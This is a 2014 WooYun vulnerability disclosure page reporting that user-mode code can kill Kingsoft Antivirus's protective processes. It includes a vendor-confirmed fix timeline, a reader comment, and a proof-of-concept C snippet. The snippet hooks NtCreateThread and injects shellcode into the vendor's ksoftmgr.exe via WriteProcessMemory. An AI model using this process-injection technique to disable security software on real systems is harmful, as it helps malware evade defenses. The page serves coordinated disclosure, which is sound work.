当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-078975

漏洞标题:金山毒霸全防御失效漏洞

相关厂商:金山毒霸

漏洞作者: alvin

提交时间:2014-10-11 14:46

修复时间:2015-01-09 14:48

公开时间:2015-01-09 14:48

漏洞类型:拒绝服务

危害等级:高

自评Rank:20

漏洞状态:厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-11: 细节已通知厂商并且等待厂商处理中
2014-10-12: 厂商已经确认,细节仅向厂商公开
2014-12-06: 细节向核心白帽子及相关领域专家公开
2014-12-16: 细节向普通白帽子公开
2014-12-26: 细节向实习白帽子公开
2015-01-09: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

金山毒霸全防御及自保护都开启的环境下,用户态程序可以轻易杀掉金山毒霸的所有守护进程。

详细说明:

1.攻击前:

before.png


2.攻击后:

after.png


exp触发后,金山毒霸的守护进程已经被杀掉。

漏洞证明:

LONG WINAPI NewCreateThread(PVOID p1, PVOID p2, PVOID p3, PVOID p4, PVOID p5, PVOID p6,PVOID p7,PVOID p8)
{
PBYTE pBase = (PBYTE)VirtualAllocEx(p4, NULL, 0x400, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
BOOL bWrite = FALSE;
DWORD dwWritten = 0;
bWrite = WriteProcessMemory(p4, (LPVOID)pBase, shellCode, sizeof(shellCode), &dwWritten);
*((DWORD*)((PBYTE)p6 + 0xb0)) = (DWORD)pBase;
return (fnNtCreateThread)(p1, p2, p3, p4, p5, p6,p7,p8);
}
int _tmain(int argc, _TCHAR* argv[])
{
LPCTSTR lpszProcess = _T("C:\\Program Files\\kingsoft\\kingsoft antivirus\\ksoftmgr.exe");
PROCESS_INFORMATION pi = { 0 };
STARTUPINFO si = { 0 };
si.cb = sizeof(STARTUPINFO);
DetourProc((PVOID)GetProcAddress(GetModuleHandle(_T("ntdll")), "NtCreateThread"), (PVOID)NewCreateThread, (PVOID*)(&fnNtCreateThread));
CreateProcess(lpszProcess, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
}

修复方案:

增强对守护进程的自保护逻辑

版权声明:转载请注明来源 alvin@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2014-10-12 19:37

厂商回复:

非常感谢您的反馈,我们已启动修复

最新状态:

2014-11-12:已修复


漏洞评价:

评论

  1. 2014-11-03 11:40 | wefgod ( 普通白帽子 | Rank:1807 漏洞数:179 | 力不从心)

    需要管理员权限吗?还是说一般的user权限也可以了